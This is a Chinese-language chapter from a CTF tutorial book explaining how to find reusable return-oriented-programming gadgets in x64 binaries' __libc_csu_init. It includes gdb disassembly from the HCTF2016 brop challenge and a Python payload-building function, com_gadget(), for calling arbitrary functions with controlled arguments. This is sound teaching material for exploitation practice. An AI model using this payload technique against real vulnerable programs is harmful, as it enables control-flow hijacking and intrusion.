CTF-All-In-One/doc/4.7_common_gadget.md
2018-08-05 17:43:10 +08:00

7.3 KiB
Raw Blame History

通用 gadget

__libc_csu_init()

我们知道在程序编译的过程中,会自动加入一些通用函数做初始化的工作,这些初始化函数都是相同的,所以我们可以考虑在这些函数中找到一些通用的 gadget在 x64 程序中,就存在这样的 gadget。x64 程序的前六个参数依次通过寄存器 rdi、rsi、rdx、rcx、r8、r9 进行传递,我们所找的 gadget 自然也是针对这些寄存器进行操作的。

函数 __libc_csu_init() 用于对 libc 进行初始化,只要程序调用了 libc就一定存在这个函数。由于每个版本的 libc 都有一定区别,这里的版本如下:

$ file /usr/lib/libc-2.26.so
/usr/lib/libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=f46739d962ec152b56d2bdb7dadaf8e576dbf6eb, for GNU/Linux 3.2.0, not stripped

下面用 6.1 pwn hctf2016 brop 的程序来做示范,使用 /r 参数可以打印出原始指令的十六进制:

gdb-peda$ disassemble /r __libc_csu_init
Dump of assembler code for function __libc_csu_init:
   0x00000000004007d0 <+0>:     41 57   push   r15
   0x00000000004007d2 <+2>:     41 56   push   r14
   0x00000000004007d4 <+4>:     49 89 d7        mov    r15,rdx
   0x00000000004007d7 <+7>:     41 55   push   r13
   0x00000000004007d9 <+9>:     41 54   push   r12
   0x00000000004007db <+11>:    4c 8d 25 16 06 20 00    lea    r12,[rip+0x200616]        # 0x600df8
   0x00000000004007e2 <+18>:    55      push   rbp
   0x00000000004007e3 <+19>:    48 8d 2d 16 06 20 00    lea    rbp,[rip+0x200616]        # 0x600e00
   0x00000000004007ea <+26>:    53      push   rbx
   0x00000000004007eb <+27>:    41 89 fd        mov    r13d,edi
   0x00000000004007ee <+30>:    49 89 f6        mov    r14,rsi
   0x00000000004007f1 <+33>:    4c 29 e5        sub    rbp,r12
   0x00000000004007f4 <+36>:    48 83 ec 08     sub    rsp,0x8
   0x00000000004007f8 <+40>:    48 c1 fd 03     sar    rbp,0x3
   0x00000000004007fc <+44>:    ff 15 f6 07 20 00       call   QWORD PTR [rip+0x2007f6]        # 0x600ff8
   0x0000000000400802 <+50>:    48 85 ed        test   rbp,rbp
   0x0000000000400805 <+53>:    74 1f   je     0x400826 <__libc_csu_init+86>
   0x0000000000400807 <+55>:    31 db   xor    ebx,ebx
   0x0000000000400809 <+57>:    0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]
   0x0000000000400810 <+64>:    4c 89 fa        mov    rdx,r15
   0x0000000000400813 <+67>:    4c 89 f6        mov    rsi,r14
   0x0000000000400816 <+70>:    44 89 ef        mov    edi,r13d
   0x0000000000400819 <+73>:    41 ff 14 dc     call   QWORD PTR [r12+rbx*8]
   0x000000000040081d <+77>:    48 83 c3 01     add    rbx,0x1
   0x0000000000400821 <+81>:    48 39 dd        cmp    rbp,rbx
   0x0000000000400824 <+84>:    75 ea   jne    0x400810 <__libc_csu_init+64>
   0x0000000000400826 <+86>:    48 83 c4 08     add    rsp,0x8
   0x000000000040082a <+90>:    5b      pop    rbx
   0x000000000040082b <+91>:    5d      pop    rbp
   0x000000000040082c <+92>:    41 5c   pop    r12
   0x000000000040082e <+94>:    41 5d   pop    r13
   0x0000000000400830 <+96>:    41 5e   pop    r14
   0x0000000000400832 <+98>:    41 5f   pop    r15
   0x0000000000400834 <+100>:   c3      ret
End of assembler dump.

从中提取出两段必须以ret结尾把它们叫做 part1 和 part2

   0x000000000040082a <+90>:    5b      pop    rbx
   0x000000000040082b <+91>:    5d      pop    rbp
   0x000000000040082c <+92>:    41 5c   pop    r12
   0x000000000040082e <+94>:    41 5d   pop    r13
   0x0000000000400830 <+96>:    41 5e   pop    r14
   0x0000000000400832 <+98>:    41 5f   pop    r15
   0x0000000000400834 <+100>:   c3      ret
   0x0000000000400810 <+64>:    4c 89 fa        mov    rdx,r15
   0x0000000000400813 <+67>:    4c 89 f6        mov    rsi,r14
   0x0000000000400816 <+70>:    44 89 ef        mov    edi,r13d
   0x0000000000400819 <+73>:    41 ff 14 dc     call   QWORD PTR [r12+rbx*8]
   0x000000000040081d <+77>:    48 83 c3 01     add    rbx,0x1
   0x0000000000400821 <+81>:    48 39 dd        cmp    rbp,rbx
   0x0000000000400824 <+84>:    75 ea   jne    0x400810 <__libc_csu_init+64>
   0x0000000000400826 <+86>:    48 83 c4 08     add    rsp,0x8
   0x000000000040082a <+90>:    5b      pop    rbx
   0x000000000040082b <+91>:    5d      pop    rbp
   0x000000000040082c <+92>:    41 5c   pop    r12
   0x000000000040082e <+94>:    41 5d   pop    r13
   0x0000000000400830 <+96>:    41 5e   pop    r14
   0x0000000000400832 <+98>:    41 5f   pop    r15
   0x0000000000400834 <+100>:   c3      ret

part1 中连续六个 pop我们可以通过布置栈来设置这些寄存器然后进入 part2前三条语句r15->rdx、r14->rsi、r13d->edi分别给三个参数寄存器赋值然后调用函数这里需要注意的是第三句是 r13dr13低32位给 edirdi低32位赋值即使这样我们还是可以做很多操作了。

另外为了让程序在调用函数返回后还能继续执行,我们需要像下面这样进行构造:

pop rbx     #必须为0
pop rbp     #必须为1
pop r12     #函数地址
pop r13     #edi
pop r14     #rsi
pop r15     #rdx
ret         #跳转到part2

下面附上一个可直接调用的函数:

def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
    payload  = p64(part1)   # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
    payload += p64(0x0)     # rbx must be 0x0
    payload += p64(0x1)     # rbp must be 0x1
    payload += p64(jmp2)    # r12 jump to
    payload += p64(arg1)    # r13 -> edi    arg1
    payload += p64(arg2)    # r14 -> rsi    arg2
    payload += p64(arg3)    # r15 -> rdx    arg3
    payload += p64(part2)   # part2 entry will call [r12+rbx*0x8]
    payload += 'A' * 56     # junk 6*8+8=56
    return payload

上面的 gadget 是显而易见的,但如果有人精通汇编字节码,可以找到一些比较隐蔽的 gadget比如说指定一个位移点再反编译

gdb-peda$ disassemble /r 0x0000000000400831,0x0000000000400835
Dump of assembler code from 0x400831 to 0x400835:
   0x0000000000400831 <__libc_csu_init+97>:     5e      pop    rsi
   0x0000000000400832 <__libc_csu_init+98>:     41 5f   pop    r15
   0x0000000000400834 <__libc_csu_init+100>:    c3      ret
End of assembler dump.
gdb-peda$ disassemble /r 0x0000000000400833,0x0000000000400835
Dump of assembler code from 0x400833 to 0x400835:
   0x0000000000400833 <__libc_csu_init+99>:     5f      pop    rdi
   0x0000000000400834 <__libc_csu_init+100>:    c3      ret
End of assembler dump.

5e5f 分别是 pop rsipop rdi 的字节码,于是我们可以通过这种方法轻易地控制 rsirdi

在 6.1.1 pwn HCTF2016 brop 的 exp 中,我们使用了偏移后的 pop rdi; ret,而没有用 com_gadget() 函数,感兴趣的童鞋可以尝试使用它重写 exp。

除了上面介绍的 __libc_csu_init(),还可以到下面的函数中找一找:

_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini

总之,多试一试总不会错。

参考资料